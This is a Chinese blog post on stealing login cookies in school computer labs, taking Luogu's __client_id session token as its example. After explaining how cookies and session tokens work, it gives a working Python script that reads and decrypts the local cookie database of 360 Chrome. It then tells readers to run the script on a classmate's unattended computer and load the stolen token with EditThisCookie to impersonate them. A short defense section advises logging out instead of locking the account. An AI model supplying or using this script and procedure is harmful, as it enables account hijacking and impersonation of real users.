机房中的Cookie盗取攻击

前言

试想一下这样的情景:
兰草回到机房准备开始暴虐比赛,突然发现自己多了几十条消息。原来是有人用他的账号发了十几条I AK IOI。但他明明在离开时锁定了账号…

遇到这种情况,很可能是Cookie被人盗取了。

Cookie

Cookie是网站为了为了辨别用户身份而储存在用户本地终端上的数据(一般存储在一个文件中,有些存储在内存里,则被称为内存Cookie)。

下面是一个Cookie测试区域:

为什么需要Cookie?

众所周知,http是一种无状态协议(服务器不知道用户上一次做了什么),这会严重限制网站的功能(想想你在洛谷每次提交代码时都要输一遍账号密码是什么感觉吧),因此有了Cookie这种东西,它能够临时保存一部分数据在本地。

在用户发送http请求时Cookie会作为请求Header的一部分发送到服务端。

身份验证

Cookie最常见的用途是存储登录状态:

如图是luogu的Cookie

Cookie的重要性等同于账号密码,千万不要发给别人!

注意到__client_id这一项。

在一台未登录洛谷的电脑上查看Cookie,会发现__client_id为空。而在登录后会发现内容变成了一个字符串(token)。

因此可看出洛谷身份验证的流程:

1
2
3
4
5
6
7
8
9
10
11
12
当需要身份验证时(如提交题目,查看题解):
如果__client_id为空:
弹出登录页面。
如果密码正确:
将__client_id设为一个随机token,在服务器保存这个token与生成它的那次登录使用的账号。
否则 直接跳出。

将__client_id发送到服务器。
如果服务器中有这个token:
使用的账号就是服务器中存储的登录账号。
否则:
返回错误。

举个例子:

兰草在一台电脑上登录了洛谷,服务器随机生成了一个__client_id为abcdefg,服务器记下"谁的__client_id是abcdefg谁就是兰草",并且用Cookie在兰草的电脑上记下我的__client_id是abcdefg

这样,当兰草提交题目时,服务器接收到了浏览器发来的我的__client_id是abcdefg,于是就知道了提交代码的人是兰草

实际上就是用自动发送的Cookie代替了手动输入的用户名与密码。

Cookie盗取

但是有一个小问题。如果有另一个人拿到了兰草__client_id,那他岂不是可以欺骗服务器说自己是兰草?确实是这样的。

攻击者:我的__client_id是abcdefg,我要发送一条犇犇I AK IOI!
兰草:你礼貌吗

为了避免这种情况,大部分浏览器都会使用某种方法加密存储Cookie。但实际上它们都可以轻易的被破解。

这样设计的原因很简单:虽然加密的Cookie很容易破解,但要拿到这个Cookie文件却十分困难,需要先拿到被害者电脑的shell。有了shell,如果被害者人不在电脑前面,甚至可以直接启动远程桌面遥控电脑,这时Cookie再怎么加密也是大势已去,破解只是时间问题。

实战演练

声明:作者不承担任何人使用本文中的方法盗取账号造成的后果。

我们可以使用一个简单Python脚本读取并解密Cookie文件:(以360极速浏览器为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import sys
import sqlite3
from collections import defaultdict
from win32.win32crypt import CryptUnprotectData

def getcookie(host):
cookiepath=os.environ['LOCALAPPDATA']+r"\360Chrome\Chrome\User Data\Default\Cookies"
sql="select host_key,name,encrypted_value from cookies where host_key='%s'" % host
with sqlite3.connect(cookiepath) as conn:
cu=conn.cursor()
select_cookie = (cu.execute(sql).fetchall())
cookie_list = {}
for host_key,name,encrypted_value in select_cookie:
cookie = CryptUnprotectData(encrypted_value)[1].decode()
cookie_list[name] = cookie
print(cookie_list)

if __name__ == '__main__':
getcookie(sys.argv[1])

在新版本的Chrome浏览器上使用另一种方式加密Cookie,解密方法自行bfds,篇幅原因不再赘述。

在对方锁定账号离开时在他的电脑上运行此脚本即可获得__client_id

获取__client_id后可用Chrome插件EditThisCookie装到浏览器里,然后你懂的

如何防御

洛谷的登录方式决定了锁定账号无法阻止这种攻击(锁定账号后__client_id还是一样的,你登录后攻击者那里也会同步登录)。

一个可行的解决方案是每次离开时退出账号而不是锁定账号,退出账号会导致__client_id失效,从而阻止攻击。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!